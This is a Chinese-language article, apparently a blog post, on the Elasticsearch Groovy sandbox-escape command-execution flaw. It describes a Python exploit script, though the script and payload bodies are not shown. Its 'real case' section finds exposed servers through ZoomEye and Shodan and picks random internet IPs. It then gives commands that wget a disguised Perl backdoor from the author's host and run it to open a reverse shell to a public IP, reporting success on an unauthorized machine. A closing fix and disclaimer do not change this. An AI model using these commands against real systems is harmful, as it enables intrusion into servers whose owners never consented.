ElasticSearch命令執(zhí)行漏洞:通過perl進行反彈shell
原創(chuàng)ElasticSearch是一個基于Lucene的搜索服務器。它提供了一個分布式多用戶能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java開發(fā)的,并作為Apache許可條款下的開放源碼發(fā)布,是第二最流行的企業(yè)搜索引擎。設計用于云計算中,能夠達到實時搜索,穩(wěn)定,可靠,快速,安裝使用方便。目前網(wǎng)絡公開部署Elasticsearch大概有數(shù)萬臺服務器,內(nèi)部網(wǎng)絡部署就不計其數(shù)了。Elasticsearch用了兩個危險性的腳本MVEL和Groovy。2014年5月MVEL爆出來命令執(zhí)行漏洞,這次輪到Groovy了,Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 腳本引擎存在漏洞。這個漏洞允許攻擊者構造Groovy腳本繞過沙箱檢查執(zhí)行shell命令,已修復的版本是Elasticsearch 1.3.8 和 1.4.3。 這個漏洞不亞于Java Struct執(zhí)行命令漏洞,對與Linux和Windows平臺都適用,在實際測試中也有授權為最高權限r(nóng)oot或者system權限的,可以獲取webshell和最高系統(tǒng)權限。
受影響版本:
cpe:/a:elasticsearch:elasticsearch:1.4.2
cpe:/a:elasticsearch:elasticsearch:1.4.0
cpe:/a:elasticsearch:elasticsearch:1.3.7
cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1
cpe:/a:elasticsearch:elasticsearch:1.4.1
(一)可利用POC
目標地址http://www.antian365.com:9200/_search?pretty
POST提交以下數(shù)據(jù)
(二)perl可利用poc代碼
將以下代碼保存為ElasticSearch.py,執(zhí)行python ElasticSearch.py http://www.antian365.com:9200/ " cat /etc/issue " 即可執(zhí)行命令。需要執(zhí)行其它命令替換“cat /etc/issue”命令即可。
(三)通過perl腳本利用該0day獲取權限思路
需要在公網(wǎng)IP準備一個pl的反彈腳本,例如back.pl,可以將腳本文件偽裝為jpg文件上傳到網(wǎng)站然后下載。例如www.antian365.com/lab/linux0day/back.pl.txt。然后依次執(zhí)行以下命令即可。
說明:
(1)www.antian365.com為被攻擊目標的IP或者域名,IP地址123.123.123.123為公網(wǎng)獨立IP,80端口為該服務器未開放端口。
(2)有部分服務器由于未安裝perl環(huán)境,因此有可能執(zhí)行命令失敗。
(四)實戰(zhàn)案例
(1)搜索目標對象
通過http://www.zoomeye.org/或者shodanhq.com搜索“ElasticSearch”關鍵詞,直接訪問網(wǎng)站地址http://www.zoomeye.org/search?q=ElasticSearch&t=host即可獲取結果。在該結果中可以看到各個國家使用該軟件的分布情況。隨機選擇一個IP進行,本例選擇第一個IP地址http://192.241.225.207/,同時單擊IP地址右上角的一個小圖框連接地址,例如打開地址http://192.241.225.207:9200/進行訪問,確認該IP地址是否存活。
圖1 搜索目標對象
(2)執(zhí)行命令
直接執(zhí)行python ElasticSearch.py http:// 192.241.225.207/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl" 命令,但反饋結果為“HTTP Error 500: Internal Server Error”,如圖2所示。
再次使用FireFox便攜版本進行測試,輸入目標地址http://192.241.225.207:9200/_search?pretty,在Post data中輸入
其結果顯示如圖3所示,表明該漏洞已經(jīng)修復或者不可用。
圖2執(zhí)行命令
圖3再次測試漏洞是否可用
通過測試多個搜索結果,找到一個還存在漏洞的IP地址,在0day出來的第一時間基本每個目標都能執(zhí)行,每多一分鐘就減少一個,直接執(zhí)行以下代碼,成功運行,無任何結果顯示,表明文件下載到服務本地成功。
python ElasticSearch.py http://192.241.222.xxx:9200/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl"
執(zhí)行以下命令,成功后會顯示“Perl Connect-back Backdoor、Auther:Maple-x”表明shell執(zhí)行成功,如圖4所示。
python ElasticSearch.py http:// 192.241.222.xxx:9200/ "/usr/bin/perl /tmp/back.pl 124.123.122.11 80"
在本地監(jiān)聽端口過幾秒種就會反彈shell回來,執(zhí)行ifconfig命令,如圖5所示,確認反彈shell成功,后續(xù)操作就任由入侵者發(fā)揮了!
圖4反彈shell命令成功
圖5成功獲取shell
(五)修復方法
建議用戶更新到最新版本。當然如果不想升級版本也可以通過修改elasticseach.yml的script.groovy.sandbox.enabled 為false就行了。
注:請勿用于非法用途,僅供安全人員漏洞研究之用